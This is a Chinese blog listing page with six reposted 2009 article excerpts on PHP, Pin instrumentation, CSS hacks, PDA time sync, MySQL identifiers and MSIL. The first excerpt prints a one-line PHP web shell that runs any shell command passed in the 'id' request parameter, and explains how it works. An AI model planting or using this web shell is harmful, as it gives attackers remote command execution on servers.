- 博客(6)
- 收藏
- 关注
RSS订阅转载 PHP安全: 一个新型的php一句话cmdshell
<?phpecho`$_REQUEST[id]`;?>原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令，并返回命令执行的结果(string类型)； 局限性:特征码比较明显，``符号在php中很少用到，杀毒软件很容易以此为特征码扫描到并警报；``里面不能执行php代码；测试方式:http://www.phpv.net/test.php?id=...
2009-06-30 16:46:00
101
转载 利用Pin分析程序的动态行为特征
在程序设计和优化过程中，我们通常希望能有工具帮助我们分析热点代码、覆盖率、内存泄露等这些特性，对多线程程序还希望能分析并发性、竞争和死锁等等。但这些特征通常在静态编译时很难获取，而且往往只能在运行时才能确定。Pin是intel开发的动态插桩工具，它提供一套API让我们开发和定制自己的性能分析工具，此外它还被广泛用在体系结构研究、安全等领域。目前intel parallel studio的...
2009-06-29 20:12:00
124
转载 CSS hack 初学小结
什么是浏览器HACK：当我们使用不同的浏览器（Firefox，IE7， IE6， IE 8, Safari, Opera, chrome）访问同一个网站，或者页面的时候，会出现一些不兼容的问题，有的显示出来正常，有的显示出来不正常，我们在编写CSS的时候会很恼火，刚修复了这个浏览器的问题，结果另外一个浏览器却出了新问题。而HACK就是一种办法，能让你在一个CSS里面独立的写支持不同浏览器的...
2009-06-24 09:19:00
45
转载 PDA与服务器时间同步
Code1定义系统时间#region定义系统时间2[StructLayout(LayoutKind.Sequential)]3publicstructSystemTime4{5publicushortwYear;6publicushortwMonth;7...
2009-06-05 16:47:00
609
转载 Mysql：语法：标志符、关键字
backticks"`"字符括起的字符序列称之为 标志符。 如果ansi_quotes模式打开，可以使用双引号"""括起的字符序列表示标志符 标志符可以使用的字符可以是任意字符，当然还是只使用[0-9a-zA-Z_$]这些非特殊字符的好，而且推荐不要以数字或美元开头——大多数系统都是这样子的 另外标志符如果是关键字（通常等于 保留字）必须括起来 严重推荐标志符不要是"{m}e[n]"这...
2009-06-03 15:44:00
77
转载 关注底层：IL部分
园子里两个大牛正争的如火如荼，小生不才，借一下两个名人的名气也来谈一下Microsoft intermediate language （MSIL，就是大家口里的IL）和ASM（这里指针对X86汇编，排除其他一切“高级汇编”）。 为了达成共识，我们先对一些概念回忆一下： CPU只能执行机器码，不能执行IL 这个应该没有什么疑问吧。机器码就是传说的0、1的组合，虽然今天的CPU运算速度已经非常...
2009-06-02 11:08:00
80
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人